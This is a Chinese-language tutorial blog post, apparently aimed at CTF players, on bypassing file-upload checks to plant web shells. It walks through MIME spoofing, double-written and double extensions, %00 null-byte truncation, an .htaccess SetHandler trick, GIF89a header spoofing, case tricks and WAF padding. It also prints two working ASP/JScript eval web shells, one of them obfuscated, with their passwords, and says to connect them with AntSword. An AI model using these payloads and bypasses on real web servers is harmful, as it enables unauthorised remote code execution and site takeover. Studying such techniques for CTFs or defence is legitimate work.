一篇文章带你入门文件上传

先跟大家聊聊文件上传的基本操作:

基本格式:

content-disposition:xxxx; name="upload_file"; filename="xxxx";

content-type: image/jpeg

其实文件上传能动的也就基本是filename和适当添加一句话木马,还有改content-type(Mime值),如果文件名字过滤了php那就可以尝试写ASP木马,还有content-type(Mime值),这里用了qwsn大神的讲解:

3、content-type文件类型的检测绕过:抓包该包

(1)发现文件类型不被允许,猜测是MIME限制
一篇文章带你入门文件上传_第1张图片
(2)抓包改包,突破上传

修改前:
一篇文章带你入门文件上传_第2张图片
修改后:
一篇文章带你入门文件上传_第3张图片
放通后:
一篇文章带你入门文件上传_第4张图片

如果基本思路不能达到应有的目标,那么接下来我会由浅入深的带大家学习文件上传的一些骚操作

1.js前端检测

一篇文章带你入门文件上传_第5张图片像这种由框弹出来的就直接F12删除源代码就好

2.双写绕过法

双写绕过原理:服务端对黑名单中的内容进行处理,且仅处理一次,所以可以通过双写后缀绕过.
如,黑名单中有"php"字样,上传文件名为"1.php" 上传后文件变成"1."
大致过程:
1,bp抓包
2.修改filename=“1.pphphp”
这里一定要在php里面写一个php,如果连着写都会被识别过滤。
3.连接蚁剑

3.php木马双后缀

因为扩展名检测时文件名的右边网左边读,当读到第一个点的时候就会确认文件类型

比如比如写个一句话木马,命名为1.php.jpg

再开启bp,再proxy功能中选择1.php.jpg文件上传,点击hex查看十六进制源代码,找到1.php后面的“."(点),对应的是2e,改为00,也就是代表空的意思,接下来就可以直接上传文件。

4.数据溢出绕过

filename后面继续添加数据,让WAF认为还没检测完,比如:

name="upload_file"; filename="1.php";sajkdasdjkasjdldjklasdassacdnkadcnkdlkandklawkdawasdnkadnlkdnkawnkwdnakscnklasncfkakakdadlawldndanldnkadnklawnawkdnadk。。。。。

5.%00截断

在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,比如:

filename="x.php%00/.php"

6.hatccess

代码:
SetHandler application/x-httpd-php

原理:其中.htaccess文件内容:SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则则报错。

做法:1。在本地创建一个.htacces文件,输入代码内容,**然后点击另存为,将保存类型设置为所有文件。

2.上传一句话木马
保存为 stack.jpg 文件


3.抓包连接蚁剑

7.GIF动图绕过

原理:本质上是文件欺骗

举个例子:之前做过一道题

Step1:上传正常jpg文件,没有问题,上传一句话木马伪装的jpg文件,提示格式不对,上传图片马,提示文件格式不对

Step2:上传一个09.php.jpg,用BP抓包,修改request中的内容,实现文件欺骗,让木马能够正确上传。Gif文件对应的是:GIF89a即可上传成功

8.黑名单过滤

比如文件名后缀大小写混合绕过,.php改成.phP然后上传即可。
 

9.ASP木马

如果题目过滤了PHP,那你可以写ASP一句话木马进行上传比如大神V写的:

<%@ Page Language = Jscript %>
<%var/-/-/P/-/-/=/-/-/“e”+“v”+/-/-/
“a”+“l”+"("+“R”+“e”+/-/-/“q”+“u”+“e”/-/-/+“s”+“t”+
“[/-/-/0/-/-/-/-/-/2/-/-/-/-/-/5/-/-/]”+
“,”+"""+“u”+“n”+“s”/-/-/+“a”+“f”+“e”+"""+")";eval
(/-/-/P/-/-/,/-/-/“u”+“n”+“s”/-/-/+“a”+“f”+“e”/-/-/);%> 密码 -7

<%@ Page Language=“Jscript”%><%eval(Request.Item[“xindong”],“unsafe”);%>

密码是webadmin

10.waf单引号漏洞

这里有时候做题时把filename”1.php“直接改成’1.php‘,因为它可能只会检测双引号的内容

希望大家能够有所收获!


你可能感兴趣的:(文件上传,CTF)